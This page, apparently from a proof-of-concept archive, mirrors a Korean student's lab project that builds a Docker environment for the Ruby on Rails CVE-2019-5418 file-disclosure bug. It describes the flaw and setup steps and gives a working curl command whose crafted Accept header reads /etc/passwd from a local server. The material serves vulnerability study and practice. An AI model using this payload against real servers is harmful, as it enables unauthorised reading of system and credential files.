Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-5418 PoC — Action View 信息泄露漏洞

Source
Associated Vulnerability
Title:Action View 信息泄露漏洞 (CVE-2019-5418)
Description:There is a File Content Disclosure vulnerability in Action View <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 where specially crafted accept headers can cause contents of arbitrary files on the target system's filesystem to be exposed.
Description
WHS 3기 장대혁 취약한(CVE) Docker 환경 구성 과제입니다.
Readme
# CVE-2019-5418: Ruby on Rails Path Traversal & Arbitrary File Read

이 프로젝트는 Ruby on Rails의 로컬 파일 포함 취약점(CVE-2019-5418)을 실습하고 재현하기 위한 환경입니다. 
해당 취약점은 `Accept` 헤더를 통한 경로 탐색으로 서버 내부의 임의의 파일을 읽을 수 있는 취약점입니다.

## 취약점 요약

루비 온 레일즈(Ruby on Rails)는 개발자가 빠르고 쉽게 웹 애플리케이션을 구축할 수 있는 웹 애플리케이션 프레임워크입니다.

Ruby on Rails 작업 뷰 <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 및 v3에는 로컬 파일 포함 취약점이 있습니다.

render file애플리케이션 외부에서 뷰를 렌더링하기 위해 컨트롤러에서 사용할 때 Rails는 사용자가 제공한 Accept 헤더를 기반으로 파일 위치를 결정합니다. 값이 있는 Accept 헤더를 보내면 Accept: ../../../../../../../../etc/passwd{{공격자는 경로 탐색 취약성을 악용하여 임의의 파일을 읽을 수 있습니다.

## 환경 구성 설정
다음 명령을 실행하여 Ruby on Rails 5.2.2를 컴파일하고 시작하면 됩니다.
```
docker compose build
docker compose up -d
```
서버가 시작 후 `http://your-ip:3000`로 접속하면 Ruby on Rails 페이지를 방문할 수 있습니다.
![image1](./image1.png)


## PoC 예시

```bash
curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots
```
![image2](./image2.png)
Accept 헤더를 통해 서버 내부의 임의의 파일을 성공적으로 읽었습니다.
File Snapshot

[4.0K] /data/pocs/8d1e1781080ba75470d6eb552798a1f4ac6acc10 ├── [742K] image1.png ├── [ 95K] image2.png └── [1.5K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →